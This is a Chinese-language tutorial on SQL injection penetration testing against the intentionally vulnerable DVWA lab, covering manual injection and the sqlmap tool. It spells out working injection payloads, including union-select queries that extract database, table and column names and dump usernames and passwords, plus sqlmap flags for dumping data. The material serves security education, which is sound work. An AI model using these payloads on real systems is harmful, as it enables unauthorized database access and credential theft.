【测试开发】--安全渗透测试

1. 安全渗透

1.1 分类

  • web数据库安全
  • web应用服务器安全(文件上传漏洞、文件包含漏洞)
  • web客户端安全(XSS跨站攻击)

2. sql注入

2.1 sql注入介绍

  • sql注入在安全问题中排行榜首
  • sql注入攻击是输入参数未经过滤,然后直接拼接到sql语句当中解析
  • sql注入是一种将sql代码添加到输入参数中,传递到服务器解析并执行的一种攻击手法

2.2 sql注入原理

  • 攻击者在页面提交恶意字符
  • 服务器未对提交参数进行过滤或者过滤不足
  • 攻击者利用拼接sql语句方式获取数据库敏感信息

2.3 sql注入危害

  • 数据库泄漏
  • 用户数据被非法买卖
  • 危害web应用安全

2.4 sql注入实现方式

  • 手动
    • 查找:注入点
    • 输入:sql常用注入组合语法,进行注入
  • 自动(工具)
    • 工具:扫描注入点
    • 输入:自动尝试各种组合语法

3.环境搭建

3.1 vmware虚拟机

3.1.1 作用

  • 虚拟机软件,可以使用软件在物理机上安装多个虚拟操作系统(Linux、windows)
  • 靶机与渗透剂运行以来VMware软件
    VMware下载教程

3.2 靶机(学习使用项目环境)

作用

  • 一个Linux虚拟机系统,在这个虚拟机中安装了一些已知漏洞的web应用程序,方便学习
  • OWASP靶机安装教程

3.3 渗透机(学习攻击sql注入环境)

作用:

  • Kali包含数百种工具,可用于各种信息安全任务,例如渗透测试,安全研究

4. 手动注入

4.1 环境准备

说明:通过靶机web应用程序,练习手动注入

步骤:

  • 启动靶机OWASP

  • 通过浏览器访问靶机

  • 访问OWASP-dvwa项目

  • 登陆

  • 选择sql注入应用程序

4.2 查找注入点

说明:主要采用单引号,转义字符\,以单引号为主

原理:

sql 复制代码
#后台程序sql语句
select first_name,last_name from users where user_id = '$id';
#输入单引号('),相当于将sql语句闭合,后面就可以使用附加其他逻辑条件了
select first_name,last_name fro users where user_id = ''';

4.3 逻辑或

4.4 猜测列数

  1. 通过union
sql 复制代码
' union select 1,2 #
  1. 通过逻辑或
sql 复制代码
'or 1=1#

4.5 获取数据库、表、列

获取数据库名

sql 复制代码
' union select 1,database()#

获取表

sql 复制代码
' union select table_name,1 from information_schema.tables where table_schema='dvwa' #

获取列

sql 复制代码
' union select column_name,1 from information_schema.columns where table_name='users' #

4.6 获取数据

sql 复制代码
//1. 获取单个字段数据
' union select user,1 from users#

//2. 获取两个字段
' union select user,password from users#

4.7 concat函数

作用:拼接多个字符串为一个字符串

语法:concat(str1,str2,...)

示例:

  • 获取users表中user_id,user,password,分为两列显示
sql 复制代码
select user_id,concat (user,password) from dvwa,users;
  • 解决user和password拼接在一起的问题
sql 复制代码
select user_id,concat('user:',user,' password:',password) from dvwa.users;
  • 获取多个字段
sql 复制代码
' union select user,concat(first_name,' ',last_name,' ',password) from users#

5. 自动注入

5.1 自动注入介绍

说明:自动注入是指利用工具代替人工去完成sql注入操作

工具:sqlmap

5.2 自动注入环境

  • 启动靶机
  • 启动渗透机

5.3 sqlmap

工具:sqlmap

  • 一个开源渗透测试工具
  • 自动检测和利用sql注入漏洞并接管数据库服务器

5.3.1 sqlmap基本用法

参数

  • -u:扫描的目标url
  • --batch:自动处理提示信息
  • --cookie:附加cookie参数

步骤

  • 扫描注入点
  • 获取数据库名
  • 获取表名
  • 获取字段名
  • 获取数据

由于需要登陆,我们首先获取已登录页面的cookie

然后开始扫描注入点

成功注入

5.3.2 sqlmap获取库名

-- current-db:查询当前web使用的数据库名

-D:应用指定数据库

运行结果:

5.3.3 sqlmap获取表

-- current-db:查询指定库下所有表名(需要先使用-D指定库名)

-T:指定表

运行结果:

5.3.4 sqlmap获取列

-- columns:查询指定表下所有字段(需要先使用-T指定表名)

-C:指定字段名

运行结果:

5.3.5 sqlmap获取数据

--dump:下载数据

运行结果:

相关推荐
用户962377954484 天前
VulnHub DC-3 靶机渗透测试笔记
安全
叶落阁主5 天前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
用户962377954487 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机7 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机7 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954487 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star7 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954487 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher9 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行12 天前
网络安全总结
安全·web安全